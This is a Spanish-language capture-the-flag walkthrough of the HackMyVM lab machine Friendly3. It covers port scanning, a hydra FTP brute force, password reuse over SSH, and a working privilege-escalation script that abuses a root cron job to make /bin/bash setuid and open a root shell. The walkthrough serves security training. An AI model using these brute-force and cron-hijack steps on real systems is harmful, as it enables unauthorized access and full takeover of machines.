HackMyVM - Friendly3

logo

  • Information leakage
  • FTP Brute Force
  • Password reuse FTP/SSH
  • Cron Job Abuse

Escaneo de puertos

❯ nmap -p- -v -T5 -n 192.168.1.12

PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

Escaneo de servicios

❯ nmap -sVC -v -p 21,22,80 192.168.1.12

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2 (protocol 2.0)
| ssh-hostkey: 
|   256 bc463d8518bfc7bb14269a206cd33952 (ECDSA)
|_  256 7b135a46a5623309249d3e67b6eb3fa1 (ED25519)
80/tcp open  http    nginx 1.22.1
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-title: Welcome to nginx!
|_http-server-header: nginx/1.22.1
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

HTTP-TCP 80

http

Realizo fuerza bruta al usuario juan y consigo su contraseña para el servidor FTP.

❯ hydra -l juan -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.12 -V -f -I
[21][ftp] host: 192.168.1.12   login: juan   password: a****s

Me conecto al servidor FTP y veo bastantes archivos.

❯ ftp juan@192.168.1.12
Connected to 192.168.1.12.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||50346|)
150 Here comes the directory listing.
drwxr-xr-x   14 0        0            4096 Jun 25 03:05 .
drwxr-xr-x   14 0        0            4096 Jun 25 03:05 ..
-rw-r--r--    1 0        0              36 Jun 25 03:05 file80
drwxr-xr-x    2 0        0            4096 Jun 25 03:12 fold10
drwxr-xr-x    2 0        0            4096 Jun 25 02:59 fold11
drwxr-xr-x    2 0        0            4096 Jun 25 02:59 fold12
drwxr-xr-x    2 0        0            4096 Jun 25 02:59 fold13
drwxr-xr-x    2 0        0            4096 Jun 25 02:59 fold14
drwxr-xr-x    2 0        0            4096 Jun 25 02:59 fold15
drwxr-xr-x    2 0        0            4096 Jun 25 02:59 fold4
drwxr-xr-x    2 0        0            4096 Jun 25 03:05 fold5
drwxr-xr-x    2 0        0            4096 Jun 25 02:59 fold6
drwxr-xr-x    2 0        0            4096 Jun 25 02:59 fold7
drwxr-xr-x    2 0        0            4096 Jun 25 03:02 fold8
drwxr-xr-x    2 0        0            4096 Jun 25 02:59 fold9
-rw-r--r--    1 0        0              58 Jun 25 03:05 fole32
226 Directory send OK.

Al no encontrar nada en los archivos del servidor FTP se me ocurre usar las credenciales para conectarme por SSH.

❯ ssh juan@192.168.1.12
juan@192.168.1.12's password: 
Linux friendly3 6.1.0-9-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.27-1 (2023-05-08) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

juan@friendly3:~$ 

Una vez dentro enumero el sistema y encuentro check_for_install.sh en el directorio /opt.

juan@friendly3:~$ ls -la /opt
total 12
drwxr-xr-x  2 root root 4096 Jun 25 03:34 .
drwxr-xr-x 18 root root 4096 Jun 25 02:36 ..
-rwxr-xr-x  1 root root  190 Jun 25 03:34 check_for_install.sh

Con cat visualizo el contenido de check_for_install.sh.

#!/bin/bash

/usr/bin/curl "http://127.0.0.1/9842734723948024.bash" > /tmp/a.bash

chmod +x /tmp/a.bash
chmod +r /tmp/a.bash
chmod +w /tmp/a.bash

/bin/bash /tmp/a.bash

rm -rf /tmp/a.bash
  • El script utiliza curl para descargar el contenido de 9842734723948024.bash desde la dirección http://127.0.0.1/ y guarda el contenido en la siguiente ruta /tmp/a.bash.
  • Luego, le otorga permisos de ejecución, lectura y escritura.
  • Ejecuta el archivo descargado utilizando el intérprete de comandos bash.
  • Finalmente, elimina el archivo descargado del sistema.

Me descargo pspy64 con curl.

juan@friendly3:/tmp$ curl https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 -O pspy64
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0

Lanzo pspy64 y veo que check_for_install.sh se ejecuta cada minuto.

pspy64

Creo un script para obtener el root para automatizar los pasos ya que de forma manual es más engorroso.

#!/bin/bash

# Función para obtener los permisos del archivo
obtener_permisos() {
  stat -c "%a" "/bin/bash"
}

# Crear archivo a.bash y agregar el comando chmod
echo "chmod 4755 $(which bash)" > a.bash

# Dar permisos de ejecución al archivo a.bash
chmod +x a.bash

# Obtener los permisos iniciales de /bin/bash
permisos_iniciales=$(obtener_permisos)

# Mostrar los permisos iniciales de /bin/bash
echo "[+] Permisos iniciales de /bin/bash: $permisos_iniciales"

# Bucle infinito para monitorear los cambios
while true; do
  # Obtener los permisos actuales de /bin/bash
  permisos_actuales=$(obtener_permisos)

  # Comprobar si ha habido cambios en los permisos
  if [ "$permisos_actuales" != "$permisos_iniciales" ]; then
    echo "[+] Se detectó un cambio en los permisos de /bin/bash"
    echo "[+] Permisos actuales de /bin/bash: $permisos_actuales"
    # Ejecutar bash con privilegios
    echo "[+] PWNED!"
    bash -p
    # Actualizar los permisos iniciales
    permisos_iniciales="$permisos_actuales"
  fi

  # Esperar 1 segundo antes de comprobar de nuevo
  sleep 1
done

Lanzo el script y obtengo el root.

juan@friendly3:/tmp$ ./privesc.sh 
[+] Permisos iniciales de /bin/bash: 755
[+] Se detectó un cambio en los permisos de /bin/bash
[+] Permisos actuales de /bin/bash: 4755
[+] PWNED!
bash-5.2# id
uid=1001(juan) gid=1001(juan) euid=0(root) groups=1001(juan)

Y aquí termina la máquina Friendly3.

Saludos!